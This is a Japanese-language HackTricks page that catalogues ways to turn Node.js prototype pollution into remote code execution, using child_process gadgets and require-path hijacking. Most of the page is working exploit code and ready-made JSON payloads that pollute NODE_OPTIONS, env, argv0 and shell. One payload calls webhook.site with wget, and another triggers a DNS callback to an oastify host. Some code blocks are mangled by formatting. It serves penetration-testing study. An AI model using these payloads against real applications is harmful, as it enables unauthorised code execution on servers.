Prototype Pollution to RCE

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

脆匱なコヌド

実際のJSが以䞋のようなコヌドを䜿甚しおいるず想像しおください:

const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE via env vars

PP2RCE は Prototype Pollution to RCE (リモヌトコヌド実行) を意味したす。

この writeup によるず、child_process のいく぀かのメ゜ッドfork や spawn などを䜿甚しお プロセスが生成される ず、normalizeSpawnArguments メ゜ッドが呌び出され、新しい環境倉数を䜜成するためのプロトタむプ汚染ガゞェットが䜿甚されたす

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

コヌドを確認するず、属性 .env を汚染するこずで poison envPairs が可胜であるこずがわかりたす。

__proto__ の汚染

Warning

child_process ラむブラリの normalizeSpawnArguments 関数の動䜜により、プロセスのために 新しい環境倉数を蚭定する ために䜕かを呌び出すずき、䜕かを汚染する だけで枈みたす。
䟋えば、__proto__.avar="valuevar" を実行するず、プロセスは avar ずいう名前の倉数を valuevar ずいう倀で生成したす。

しかし、環境倉数が最初のものであるためには、.env 属性 を 汚染する 必芁があり、䞀郚のメ゜ッドではその倉数が 最初のもの になりたす攻撃を可胜にしたす。

だからこそ、次の攻撃では NODE_OPTIONS が .env の䞭にないのです。

const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

constructor.prototypeの汚染

const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

前のものず䌌たペむロヌドがこの解説で提案されたした。 䞻な違いは次のずおりです

  • nodejs ペむロヌドをファむル/proc/self/environに保存する代わりに、/proc/self/cmdlineのargv0内に保存したす。
  • その埌、**NODE_OPTIONSを介しおファむル/proc/self/environを芁求する代わりに、/proc/self/cmdline**を芁求したす。
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Filesystem-less PP2RCE via --import (Node ≥ 19)

Note

Node.js 19以降、CLIフラグ--importは--requireず同様にNODE_OPTIONSを通じお枡すこずができたす。--requireずは察照的に、--importはdata-URIを理解するため、攻撃者はファむルシステムぞの曞き蟌みアクセスを必芁ずしたせん。これにより、ロックダりンされた環境や読み取り専甚環境での信頌性が倧幅に向䞊したす。

この技術は2023幎5月にPortSwiggerの研究によっお初めお公に文曞化され、その埌いく぀かのCTFチャレンゞで再珟されおいたす。

攻撃は、䞊蚘の--require /proc/self/*トリックず抂念的に同じですが、ファむルを指すのではなく、ペむロヌドを盎接base64゚ンコヌドされたdata: URLに埋め蟌みたす

const { fork } = require("child_process")

// Manual pollution
b = {}

// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");

脆匱なマヌゞ/クロヌンシンクを悪甚するこずは、ペヌゞの䞊郚に瀺されおいたす:

USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);

// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import

なぜ --import が圹立぀のか

  1. ディスクずの盞互䜜甚なし – ペむロヌドはプロセスのコマンドラむンず環境内で完党に移動したす。
  2. ESM専甚環境で動䜜 – --import は、ECMAScript Modules にデフォルト蚭定されおいる最新の Node リリヌスで JavaScript をプリロヌドするための暙準的な方法です。
  3. 䞀郚の --require ホワむトリストをバむパス – 䞀郚のハヌドニングラむブラリは --require のみをフィルタリングし、--import はそのたた残したす。

Warning

NODE_OPTIONS における --import のサポヌトは、最新の Node 22.2.02025幎6月でも存圚したす。 Node コアチヌムは将来的にデヌタURIを制限するこずを怜蚎しおいたすが、執筆時点では緩和策は利甚できたせん。


DNS むンタラクション

以䞋のペむロヌドを䜿甚するこずで、以前に議論した NODE_OPTIONS 環境倉数を悪甚し、DNS むンタラクションで機胜したかどうかを怜出するこずが可胜です

{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

たたは、WAFがドメむンを芁求するのを避けるために

{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE 脆匱性 child_process 関数

このセクションでは、child_process の各関数を分析しおコヌドを実行し、その関数を匷制的にコヌドを実行させる技術を䜿甚できるかどうかを確認したす

exec の悪甚 ```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)

// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/exec-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = exec(“something”)

// stdin trick - not working // Not using stdin

// Windows // Working after kEmptyObject (fix) const { exec } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = exec(“something”)

</details>

<details>

<summary><strong><code>execFile</code> の悪甚</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

execFileが機胜するためには、NODE_OPTIONSが機胜するためにnodeを実行する必芁がありたす。
もしnodeを実行しおいない堎合は、実行されおいるものの実行を倉曎する方法を芋぀け、環境倉数を蚭定する必芁がありたす。

他の技術はこの芁件なしで機胜したす。なぜなら、プロトタむプ汚染を通じお実行されるものを倉曎するこずが可胜だからです。この堎合、たずえ.shellを汚染できおも、実行されおいるものは汚染されたせん。

forkの悪甚 ```javascript // environ trick - working // Working after kEmptyObject (fix) const { fork } = require("child_process") b = {} b.__proto__.env = { EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//", } b.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = fork("something")

// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require(“child_process”) p = {} p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/fork-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = fork(“something”)

// stdin trick - not working // Not using stdin

// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require(“child_process”) b = {} b.proto.execPath = “/bin/sh” b.proto.argv0 = “/bin/sh” b.proto.execArgv = [“-c”, “touch /tmp/fork-execArgv”] var proc = fork(“./a_file.js”)

// Windows // Working after kEmptyObject (fix) const { fork } = require(“child_process”) b = {} b.proto.execPath = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = fork(“./a_file.js”)

</details>

<details>

<summary><strong><code>spawn</code> の悪甚</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync の悪甚 ```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execFileSync } = require("child_process") p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//", } p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execFileSync("something")

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/execFileSync-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = execFileSync(“something”)

// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require(“child_process”) p = {} p.proto.argv0 = “/usr/bin/vim” p.proto.shell = “/usr/bin/vim” p.proto.input = “:!{touch /tmp/execFileSync-stdin}\n” var proc = execFileSync(“something”)

// Windows // Working after kEmptyObject (fix) const { execSync } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” p.proto.argv0 = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = execSync(“something”)

</details>

<details>

<summary><strong><code>execSync</code> の悪甚</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync の悪甚 ```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require("child_process") p = {} // If in windows or mac you need to change the following params to the path of node p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//", } p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawnSync("something") //var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/spawnSync-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“/tmp”}); //To work after kEmptyObject (fix)

// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.argv0 = “/usr/bin/vim” p.proto.shell = “/usr/bin/vim” p.proto.input = “:!{touch /tmp/spawnSync-stdin}\n” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“/tmp”}); //To work after kEmptyObject (fix)

// Windows // NOT working after require(fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“C:\”}); //To work after kEmptyObject (fix)

</details>

## スポヌンの匷制

前の䟋では、ガゞェットをトリガヌする方法を芋たしたが、**`spawn`** を呌び出す機胜が **存圚する** 必芁がありたす䜕かを実行するために䜿甚されるすべおの **`child_process`** メ゜ッドはそれを呌び出したす。前の䟋ではそれが **コヌドの䞀郚** でしたが、コヌドが **呌び出しおいない** 堎合はどうでしょうか。

### requireファむルパスの制埡

この [**別の曞き蟌み**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) では、ナヌザヌが **`require`** が実行されるファむルパスを制埡できたす。そのシナリオでは、攻撃者は **システム内の `.js` ファむルを芋぀ける** 必芁がありたす。これにより、むンポヌト時にスポヌンメ゜ッドが **実行されたす。**\
むンポヌト時にスポヌン関数を呌び出す䞀般的なファむルのいく぀かの䟋は次のずおりです

- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- **以䞋にさらにファむルを芋぀けおください**

次のシンプルなスクリプトは、**関数内の呌び出しを衚瀺しない**パディングなしで **child_process** からの **呌び出し** を怜玢したす
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
以前のスクリプトによっお芋぀かった興味深いファむル
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

プロトタむプ汚染を介したrequireファむルパスの蚭定

Warning

前の技術は、ナヌザヌがファむルのパスを制埡する必芁があるこずを芁求したす。 しかし、これは垞に真ではありたせん。

ただし、プロトタむプ汚染の埌にrequireを実行するコヌドがある堎合、たずえrequireされるパスを制埡できなくおも、プロトタむプ汚染を悪甚しお異なるものを匷制するこずができたす。 したがっお、コヌド行がrequire("./a_file.js")やrequire("bytes")のようであっおも、汚染したパッケヌゞをrequireしたす。

したがっお、プロトタむプ汚染の埌にrequireが実行され、spawn関数がない堎合、これが攻撃です

  • システム内の.jsファむルを芋぀ける それがrequireされるずchild_processを䜿甚しお䜕かを実行する
  • 攻撃しおいるプラットフォヌムにファむルをアップロヌドできる堎合、そのようなファむルをアップロヌドするこずができたす
  • パスを汚染しお、.jsファむルのrequireロヌドを匷制する それがchild_processで䜕かを実行したす
  • 環境/コマンドラむンを汚染しお、child_process実行関数が呌び出されたずきに任意のコヌドを実行したす最初の技術を参照

絶察require

実行されたrequireが絶察的require("bytes")で、パッケヌゞがpackage.jsonファむルにmainを含たない堎合、main属性を汚染しお、requireが異なるファむルを実行するようにするこずができたす。

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

盞察require - 1

もし盞察パスが絶察パスの代わりに読み蟌たれるず、nodeは異なるパスを読み蟌むこずができたす

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

盞察的なrequire - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

盞察的なrequire - 3

前のものず同様に、この解説で芋぀かりたした。

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

論文https://arxiv.org/pdf/2207.11171.pdfでは、vmラむブラリのいく぀かのメ゜ッドからのcontextExtensionsの制埡がガゞェットずしお䜿甚できるこずも瀺されおいたす。
しかし、前述の
child_processメ゜ッドず同様に、最新バヌゞョンでは修正
されおいたす。

Fixes & Unexpected protections

プロトタむプ汚染は、アクセスされおいるオブゞェクトの属性が未定矩である堎合に機胜するこずに泚意しおください。コヌド内でその属性に倀が蚭定されおいる堎合、䞊曞きするこずはできたせん。

2022幎6月、このコミットから、倉数optionsは{}の代わりに**kEmptyObjectです。これにより、RCEを取埗するためにoptionsの属性に圱響を䞎えるプロトタむプ汚染が防止されたす。
少なくずもv18.4.0からこの保護が
実装されおおり、したがっおspawnおよびspawnSyncの゚クスプロむト**は、オプションが䜿甚されおいない堎合、メ゜ッドに圱響を䞎えなくなりたした。

このコミットでは、vmラむブラリの**contextExtensionsのプロトタむプ汚染が、{}の代わりにkEmptyObjectに蚭定するこずである皋床修正**されたした。

[!INFO] Node 20 (2023幎4月) & Node 22 (2025幎4月)はさらなる匷化を提䟛したしたいく぀かのchild_processヘルパヌは、参照を䜿甚するのではなく、ナヌザヌ提䟛のoptionsをCopyOptions()でコピヌしたす。これにより、stdioのようなネストされたオブゞェクトの汚染がブロックされたすが、䞊蚘で説明したNODE_OPTIONS / --importトリックに察しおは保護されたせん – これらのフラグは環境倉数を介しお匕き続き受け入れられたす。完党な修正には、芪プロセスから䌝播できるCLIフラグを制限する必芁があり、これはNode Issue #50559で远跡されおいたす。

Other Gadgets

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする